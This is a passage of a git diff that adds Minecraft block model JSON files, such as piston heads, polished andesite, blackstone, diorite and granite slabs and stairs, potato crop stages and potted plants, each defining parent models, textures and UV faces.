], "texture": "#bottom", "cullface": "south" }, + "west": { "uv": [ 0, 4, 16, 16 ], "texture": "#side", "cullface": "west", "rotation": 270 }, + "east": { "uv": [ 0, 4, 16, 16 ], "texture": "#side", "cullface": "east", "rotation": 90 } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/piston_head.json b/src/assets/minecraft/models/block/piston_head.json new file mode 100644 index 00000000..2caa096c --- /dev/null +++ b/src/assets/minecraft/models/block/piston_head.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_piston_head", + "textures": { + "platform": "minecraft:block/piston_top", + "side": "minecraft:block/piston_side", + "unsticky": "minecraft:block/piston_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/piston_head_short.json b/src/assets/minecraft/models/block/piston_head_short.json new file mode 100644 index 00000000..490b1c50 --- /dev/null +++ b/src/assets/minecraft/models/block/piston_head_short.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_piston_head_short", + "textures": { + "platform": "minecraft:block/piston_top", + "side": "minecraft:block/piston_side", + "unsticky": "minecraft:block/piston_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/piston_head_short_sticky.json b/src/assets/minecraft/models/block/piston_head_short_sticky.json new file mode 100644 index 00000000..c5a98204 --- /dev/null +++ b/src/assets/minecraft/models/block/piston_head_short_sticky.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_piston_head_short", + "textures": { + "platform": "minecraft:block/piston_top_sticky", + "side": "minecraft:block/piston_side", + "unsticky": "minecraft:block/piston_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/piston_head_sticky.json b/src/assets/minecraft/models/block/piston_head_sticky.json new file mode 100644 index 00000000..7fa4495a --- /dev/null +++ b/src/assets/minecraft/models/block/piston_head_sticky.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/template_piston_head", + "textures": { + "platform": "minecraft:block/piston_top_sticky", + "side": "minecraft:block/piston_side", + "unsticky": "minecraft:block/piston_top" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/piston_inventory.json b/src/assets/minecraft/models/block/piston_inventory.json new file mode 100644 index 00000000..6b77f4f6 --- /dev/null +++ b/src/assets/minecraft/models/block/piston_inventory.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/piston_top", + "bottom": "minecraft:block/piston_bottom", + "side": "minecraft:block/piston_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/podzol.json b/src/assets/minecraft/models/block/podzol.json new file mode 100644 index 00000000..ec3db2aa --- /dev/null +++ b/src/assets/minecraft/models/block/podzol.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/cube_bottom_top", + "textures": { + "top": "minecraft:block/podzol_top", + "bottom": "minecraft:block/dirt", + "side": "minecraft:block/podzol_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_andesite.json b/src/assets/minecraft/models/block/polished_andesite.json new file mode 100644 index 00000000..cd1067ab --- /dev/null +++ b/src/assets/minecraft/models/block/polished_andesite.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/polished_andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_andesite_slab.json b/src/assets/minecraft/models/block/polished_andesite_slab.json new file mode 100644 index 00000000..97a8fbe9 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_andesite_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/polished_andesite", + "top": "minecraft:block/polished_andesite", + "side": "minecraft:block/polished_andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_andesite_slab_top.json b/src/assets/minecraft/models/block/polished_andesite_slab_top.json new file mode 100644 index 00000000..64c6df0e --- /dev/null +++ b/src/assets/minecraft/models/block/polished_andesite_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/polished_andesite", + "top": "minecraft:block/polished_andesite", + "side": "minecraft:block/polished_andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_andesite_stairs.json b/src/assets/minecraft/models/block/polished_andesite_stairs.json new file mode 100644 index 00000000..9f879d07 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_andesite_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/polished_andesite", + "top": "minecraft:block/polished_andesite", + "side": "minecraft:block/polished_andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_andesite_stairs_inner.json b/src/assets/minecraft/models/block/polished_andesite_stairs_inner.json new file mode 100644 index 00000000..e41034be --- /dev/null +++ b/src/assets/minecraft/models/block/polished_andesite_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/polished_andesite", + "top": "minecraft:block/polished_andesite", + "side": "minecraft:block/polished_andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_andesite_stairs_outer.json b/src/assets/minecraft/models/block/polished_andesite_stairs_outer.json new file mode 100644 index 00000000..6cc87c50 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_andesite_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/polished_andesite", + "top": "minecraft:block/polished_andesite", + "side": "minecraft:block/polished_andesite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_basalt.json b/src/assets/minecraft/models/block/polished_basalt.json new file mode 100644 index 00000000..cdf565e4 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_basalt.json @@ -0,0 +1,7 @@ +{ + "parent": "minecraft:block/cube_column", + "textures": { + "end": "minecraft:block/polished_basalt_top", + "side": "minecraft:block/polished_basalt_side" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone.json b/src/assets/minecraft/models/block/polished_blackstone.json new file mode 100644 index 00000000..41baabeb --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_brick_slab.json b/src/assets/minecraft/models/block/polished_blackstone_brick_slab.json new file mode 100644 index 00000000..b03d0562 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_brick_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/polished_blackstone_bricks", + "top": "minecraft:block/polished_blackstone_bricks", + "side": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_brick_slab_top.json b/src/assets/minecraft/models/block/polished_blackstone_brick_slab_top.json new file mode 100644 index 00000000..7f65cf8e --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_brick_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/polished_blackstone_bricks", + "top": "minecraft:block/polished_blackstone_bricks", + "side": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_brick_stairs.json b/src/assets/minecraft/models/block/polished_blackstone_brick_stairs.json new file mode 100644 index 00000000..5927b119 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_brick_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/polished_blackstone_bricks", + "top": "minecraft:block/polished_blackstone_bricks", + "side": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_brick_stairs_inner.json b/src/assets/minecraft/models/block/polished_blackstone_brick_stairs_inner.json new file mode 100644 index 00000000..3c1697bf --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_brick_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/polished_blackstone_bricks", + "top": "minecraft:block/polished_blackstone_bricks", + "side": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_brick_stairs_outer.json b/src/assets/minecraft/models/block/polished_blackstone_brick_stairs_outer.json new file mode 100644 index 00000000..a9868e86 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_brick_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/polished_blackstone_bricks", + "top": "minecraft:block/polished_blackstone_bricks", + "side": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_brick_wall_inventory.json b/src/assets/minecraft/models/block/polished_blackstone_brick_wall_inventory.json new file mode 100644 index 00000000..1c934f4a --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_brick_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_brick_wall_post.json b/src/assets/minecraft/models/block/polished_blackstone_brick_wall_post.json new file mode 100644 index 00000000..1f634397 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_brick_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_brick_wall_side.json b/src/assets/minecraft/models/block/polished_blackstone_brick_wall_side.json new file mode 100644 index 00000000..2b0179ed --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_brick_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_brick_wall_side_tall.json b/src/assets/minecraft/models/block/polished_blackstone_brick_wall_side_tall.json new file mode 100644 index 00000000..8f5ee0c5 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_brick_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_bricks.json b/src/assets/minecraft/models/block/polished_blackstone_bricks.json new file mode 100644 index 00000000..b94caf75 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_bricks.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/polished_blackstone_bricks" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_button.json b/src/assets/minecraft/models/block/polished_blackstone_button.json new file mode 100644 index 00000000..46472f13 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_button.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button", + "textures": { + "texture": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_button_inventory.json b/src/assets/minecraft/models/block/polished_blackstone_button_inventory.json new file mode 100644 index 00000000..9e717030 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_button_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_inventory", + "textures": { + "texture": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_button_pressed.json b/src/assets/minecraft/models/block/polished_blackstone_button_pressed.json new file mode 100644 index 00000000..11457972 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_button_pressed.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/button_pressed", + "textures": { + "texture": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_pressure_plate.json b/src/assets/minecraft/models/block/polished_blackstone_pressure_plate.json new file mode 100644 index 00000000..e9d41846 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_pressure_plate.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_up", + "textures": { + "texture": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_pressure_plate_down.json b/src/assets/minecraft/models/block/polished_blackstone_pressure_plate_down.json new file mode 100644 index 00000000..62fd5664 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_pressure_plate_down.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/pressure_plate_down", + "textures": { + "texture": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_slab.json b/src/assets/minecraft/models/block/polished_blackstone_slab.json new file mode 100644 index 00000000..82444028 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/polished_blackstone", + "top": "minecraft:block/polished_blackstone", + "side": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_slab_top.json b/src/assets/minecraft/models/block/polished_blackstone_slab_top.json new file mode 100644 index 00000000..1a8451c7 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/polished_blackstone", + "top": "minecraft:block/polished_blackstone", + "side": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_stairs.json b/src/assets/minecraft/models/block/polished_blackstone_stairs.json new file mode 100644 index 00000000..188342d6 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/polished_blackstone", + "top": "minecraft:block/polished_blackstone", + "side": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_stairs_inner.json b/src/assets/minecraft/models/block/polished_blackstone_stairs_inner.json new file mode 100644 index 00000000..ce867543 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/polished_blackstone", + "top": "minecraft:block/polished_blackstone", + "side": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_stairs_outer.json b/src/assets/minecraft/models/block/polished_blackstone_stairs_outer.json new file mode 100644 index 00000000..08570fd0 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/polished_blackstone", + "top": "minecraft:block/polished_blackstone", + "side": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_wall_inventory.json b/src/assets/minecraft/models/block/polished_blackstone_wall_inventory.json new file mode 100644 index 00000000..d361d99b --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_wall_inventory.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/wall_inventory", + "textures": { + "wall": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_wall_post.json b/src/assets/minecraft/models/block/polished_blackstone_wall_post.json new file mode 100644 index 00000000..24cf5a40 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_wall_post.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_post", + "textures": { + "wall": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_wall_side.json b/src/assets/minecraft/models/block/polished_blackstone_wall_side.json new file mode 100644 index 00000000..fc72cbea --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_wall_side.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side", + "textures": { + "wall": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_blackstone_wall_side_tall.json b/src/assets/minecraft/models/block/polished_blackstone_wall_side_tall.json new file mode 100644 index 00000000..5d3f4f0c --- /dev/null +++ b/src/assets/minecraft/models/block/polished_blackstone_wall_side_tall.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/template_wall_side_tall", + "textures": { + "wall": "minecraft:block/polished_blackstone" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_diorite.json b/src/assets/minecraft/models/block/polished_diorite.json new file mode 100644 index 00000000..99afb394 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_diorite.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/polished_diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_diorite_slab.json b/src/assets/minecraft/models/block/polished_diorite_slab.json new file mode 100644 index 00000000..0627dfeb --- /dev/null +++ b/src/assets/minecraft/models/block/polished_diorite_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/polished_diorite", + "top": "minecraft:block/polished_diorite", + "side": "minecraft:block/polished_diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_diorite_slab_top.json b/src/assets/minecraft/models/block/polished_diorite_slab_top.json new file mode 100644 index 00000000..fc3bd3da --- /dev/null +++ b/src/assets/minecraft/models/block/polished_diorite_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/polished_diorite", + "top": "minecraft:block/polished_diorite", + "side": "minecraft:block/polished_diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_diorite_stairs.json b/src/assets/minecraft/models/block/polished_diorite_stairs.json new file mode 100644 index 00000000..42598f36 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_diorite_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/polished_diorite", + "top": "minecraft:block/polished_diorite", + "side": "minecraft:block/polished_diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_diorite_stairs_inner.json b/src/assets/minecraft/models/block/polished_diorite_stairs_inner.json new file mode 100644 index 00000000..c62e6dbe --- /dev/null +++ b/src/assets/minecraft/models/block/polished_diorite_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/polished_diorite", + "top": "minecraft:block/polished_diorite", + "side": "minecraft:block/polished_diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_diorite_stairs_outer.json b/src/assets/minecraft/models/block/polished_diorite_stairs_outer.json new file mode 100644 index 00000000..15cbfc8d --- /dev/null +++ b/src/assets/minecraft/models/block/polished_diorite_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/polished_diorite", + "top": "minecraft:block/polished_diorite", + "side": "minecraft:block/polished_diorite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_granite.json b/src/assets/minecraft/models/block/polished_granite.json new file mode 100644 index 00000000..46f93fd8 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_granite.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cube_all", + "textures": { + "all": "minecraft:block/polished_granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_granite_slab.json b/src/assets/minecraft/models/block/polished_granite_slab.json new file mode 100644 index 00000000..490d8954 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_granite_slab.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab", + "textures": { + "bottom": "minecraft:block/polished_granite", + "top": "minecraft:block/polished_granite", + "side": "minecraft:block/polished_granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_granite_slab_top.json b/src/assets/minecraft/models/block/polished_granite_slab_top.json new file mode 100644 index 00000000..c811d381 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_granite_slab_top.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/slab_top", + "textures": { + "bottom": "minecraft:block/polished_granite", + "top": "minecraft:block/polished_granite", + "side": "minecraft:block/polished_granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_granite_stairs.json b/src/assets/minecraft/models/block/polished_granite_stairs.json new file mode 100644 index 00000000..537051d1 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_granite_stairs.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/stairs", + "textures": { + "bottom": "minecraft:block/polished_granite", + "top": "minecraft:block/polished_granite", + "side": "minecraft:block/polished_granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_granite_stairs_inner.json b/src/assets/minecraft/models/block/polished_granite_stairs_inner.json new file mode 100644 index 00000000..0b6c3639 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_granite_stairs_inner.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/inner_stairs", + "textures": { + "bottom": "minecraft:block/polished_granite", + "top": "minecraft:block/polished_granite", + "side": "minecraft:block/polished_granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/polished_granite_stairs_outer.json b/src/assets/minecraft/models/block/polished_granite_stairs_outer.json new file mode 100644 index 00000000..366ec406 --- /dev/null +++ b/src/assets/minecraft/models/block/polished_granite_stairs_outer.json @@ -0,0 +1,8 @@ +{ + "parent": "minecraft:block/outer_stairs", + "textures": { + "bottom": "minecraft:block/polished_granite", + "top": "minecraft:block/polished_granite", + "side": "minecraft:block/polished_granite" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/poppy.json b/src/assets/minecraft/models/block/poppy.json new file mode 100644 index 00000000..dd37fe80 --- /dev/null +++ b/src/assets/minecraft/models/block/poppy.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/cross", + "textures": { + "cross": "minecraft:block/poppy" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potatoes_stage0.json b/src/assets/minecraft/models/block/potatoes_stage0.json new file mode 100644 index 00000000..7bd4a3c4 --- /dev/null +++ b/src/assets/minecraft/models/block/potatoes_stage0.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/potatoes_stage0" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potatoes_stage1.json b/src/assets/minecraft/models/block/potatoes_stage1.json new file mode 100644 index 00000000..e1ccb2e9 --- /dev/null +++ b/src/assets/minecraft/models/block/potatoes_stage1.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/potatoes_stage1" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potatoes_stage2.json b/src/assets/minecraft/models/block/potatoes_stage2.json new file mode 100644 index 00000000..139c6401 --- /dev/null +++ b/src/assets/minecraft/models/block/potatoes_stage2.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/potatoes_stage2" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potatoes_stage3.json b/src/assets/minecraft/models/block/potatoes_stage3.json new file mode 100644 index 00000000..8ac74e8a --- /dev/null +++ b/src/assets/minecraft/models/block/potatoes_stage3.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/crop", + "textures": { + "crop": "minecraft:block/potatoes_stage3" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_acacia_sapling.json b/src/assets/minecraft/models/block/potted_acacia_sapling.json new file mode 100644 index 00000000..e1b2b703 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_acacia_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/acacia_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_allium.json b/src/assets/minecraft/models/block/potted_allium.json new file mode 100644 index 00000000..5b576fbb --- /dev/null +++ b/src/assets/minecraft/models/block/potted_allium.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/allium" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_azure_bluet.json b/src/assets/minecraft/models/block/potted_azure_bluet.json new file mode 100644 index 00000000..175b4c04 --- /dev/null +++ b/src/assets/minecraft/models/block/potted_azure_bluet.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/azure_bluet" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_bamboo.json b/src/assets/minecraft/models/block/potted_bamboo.json new file mode 100644 index 00000000..14ffcc2a --- /dev/null +++ b/src/assets/minecraft/models/block/potted_bamboo.json @@ -0,0 +1,77 @@ +{ + "ambientocclusion": false, + "textures": { + "particle": "block/flower_pot", + "flowerpot": "block/flower_pot", + "dirt": "block/dirt", + "bamboo": "block/bamboo_stalk", + "leaf": "block/bamboo_singleleaf" + }, + "elements": [ + { "from": [ 5, 0, 5 ], + "to": [ 6, 6, 11 ], + "faces": { + "down": { "uv": [ 5, 5, 6, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 5, 5, 6, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 10, 10, 11, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 5, 10, 6, 16 ], "texture": "#flowerpot" }, + "west": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" }, + "east": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 10, 0, 5 ], + "to": [ 11, 6, 11 ], + "faces": { + "down": { "uv": [ 10, 5, 11, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 10, 5, 11, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 5, 10, 6, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 10, 10, 11, 16 ], "texture": "#flowerpot" }, + "west": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" }, + "east": { "uv": [ 5, 10, 11, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 5 ], + "to": [ 10, 6, 6 ], + "faces": { + "down": { "uv": [ 6, 10, 10, 11 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 5, 10, 6 ], "texture": "#flowerpot" }, + "north": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 10 ], + "to": [ 10, 6, 11 ], + "faces": { + "down": { "uv": [ 6, 5, 10, 6 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 10, 10, 11 ], "texture": "#flowerpot" }, + "north": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" }, + "south": { "uv": [ 6, 10, 10, 16 ], "texture": "#flowerpot" } + } + }, + { "from": [ 6, 0, 6 ], + "to": [ 10, 4, 10 ], + "faces": { + "down": { "uv": [ 6, 12, 10, 16 ], "texture": "#flowerpot", "cullface": "down" }, + "up": { "uv": [ 6, 6, 10, 10 ], "texture": "#dirt" } + } + }, + { "from": [ 7, 0, 7 ], + "to": [ 9, 16, 9 ], + "faces": { + "up": { "uv": [ 13, 0, 15, 2], "texture": "#bamboo", "cullface": "up" }, + "north": { "uv": [ 6, 0, 8, 16 ], "texture": "#bamboo" }, + "south": { "uv": [ 6, 0, 8, 16 ], "texture": "#bamboo" }, + "west": { "uv": [ 6, 0, 8, 16 ], "texture": "#bamboo" }, + "east": { "uv": [ 6, 0, 8, 16 ], "texture": "#bamboo" } + } + }, + { "from": [ 0, 2, 8 ], + "to": [ 16, 18, 8 ], + "shade": false, + "faces": { + "north": { "uv": [ 0, 0, 16, 16 ], "texture": "#leaf" }, + "south": { "uv": [ 16, 0, 0, 16 ], "texture": "#leaf" } + } + } + ] +} diff --git a/src/assets/minecraft/models/block/potted_birch_sapling.json b/src/assets/minecraft/models/block/potted_birch_sapling.json new file mode 100644 index 00000000..b19246fb --- /dev/null +++ b/src/assets/minecraft/models/block/potted_birch_sapling.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/birch_sapling" + } +} \ No newline at end of file diff --git a/src/assets/minecraft/models/block/potted_blue_orchid.json b/src/assets/minecraft/models/block/potted_blue_orchid.json new file mode 100644 index 00000000..f9b31bad --- /dev/null +++ b/src/assets/minecraft/models/block/potted_blue_orchid.json @@ -0,0 +1,6 @@ +{ + "parent": "minecraft:block/flower_pot_cross", + "textures": { + "plant": "minecraft:block/blue_orchid" + } +} 